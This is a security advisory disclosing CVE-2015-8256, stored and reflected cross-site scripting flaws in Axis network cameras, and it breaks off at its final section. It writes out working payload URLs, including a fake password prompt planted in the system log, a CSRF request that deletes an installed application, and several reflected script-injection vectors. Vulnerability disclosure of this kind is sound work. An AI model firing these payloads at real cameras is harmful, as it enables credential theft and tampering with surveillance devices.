Security Adivisory 2016-04-09 www.orwelllabs.com twt:@orwelllabs I. ADVISORY INFORMATION ----------------------- Title: Axis Network Cameras Multiple Cross-site scripting Vendor: Axis Communications Class: Improper Input Validation [CWE-20] CVE Name: CVE-2015-8256 Remotely Exploitable: Yes Locally Exploitable: No OLSA-ID: OLSA-2015-8256 Adivisory URL: http://www.orwelllabs.com/2016/01/axis-network-cameras-multiple-cross.html II. Background -------------- Axis is the market leader in network video, invented the world’s first network camera back in 1996 and we’ve been innovators in video surveillance ever since. Axis network video products are installed in public places and areas such as retail chains, airports, trains, motorways, universities, prisons, casinos and banks. III. vulnerability ------------------ AXIS Network Cameras are prone to multiple (stored/reflected) cross-site scripting vulnerability. IV. technical details --------------------- These attack vectors allow you to execute an arbitrary javascript code in the user browser (session) with this steps: # 1 Attacker injects a javascript payload in the vulnerable page: http://{axishost}/axis-cgi/vaconfig.cgi?action=get&name=<script type="text/javascript>prompt("AXIS_PASSWORD:")</script> This will create a entry in the genneral log file (/var/log/messages) So, when the user is viewing the log 'system options' -> 'support' -> 'Logs & Reports': http://{axishost}/axis-cgi/admin/systemlog.cgi?id will be displayed a prompt for the password of the current user ('AXIS_PASSWORD'). However, due to CSRF presented is even possible to perform all actions already presented: create, edit and remove users and applications, etc. For example, to delete an application "axis_update" via SXSS: http://{axishost}/axis-cgi/vaconfig.cgi?action=get&name=<script src="http:// axishost/axis-cgi/admin/local_del.cgi?+/usr/html/local/viewer/axis_update.shtml"></script> * A reflected cross-site scripting affects all models of AXIS devices on the same parameter: http:// {axis-cam-model}/view/view.shtml?imagePath=0WLL</script><script>alert('AXIS-XSS')</script><!-- # Other Vectors http:// {axishost}/admin/config.shtml?group=%3Cscript%3Ealert%281%29%3C/script%3E http://{axishost}/view/custom_whiteBalance.shtml?imagePath=<img src="https://www.exploit-db.com/exploits/39683/xs" onerror=alert(7) /><!-- http:// {axishost}/admin-bin/editcgi.cgi?file=<script>alert('SmithW')</script> http:// {axishost}/operator/recipient_test.shtml?protocol=%3Cscript%3Ealert%281%29%3C/script%3E http:// {axishost}/admin/showReport.shtml?content=alwaysmulti.sdp&pageTitle=axis</title></head><body><pre><script>alert(1)</script> # SCRIPTPATHS: {HTMLROOT}/showReport.shtml {HTMLROOT}/config.shtml {HTMLROOT}/incl/top_incl.shtml {HTMLROOT}/incl/popup_header.shtml {HTMLROOT}/incl/page_header.shtml {HTMLROOT}/incl/top_incl_popup.shtml {HTMLROOT}/viewAreas.shtml {HTMLROOT}/vmd.shtml {HTMLROOT}/custom_whiteBalance.shtml {HTMLROOT}/playWindow.shtml {HTMLROOT}/incl/ptz_incl.shtml {HTMLROOT}/view.shtml {HTMLROOT}/streampreview.shtml And many, many others... V. Impact --------- allows to run arbitrary code on a victim's browser and computer if combined with another flaws in the same devices. VI. Affected products --------------------- Multiple Axis Network products. VII. solution ------------- It was not provided any solution to the problem. VIII.
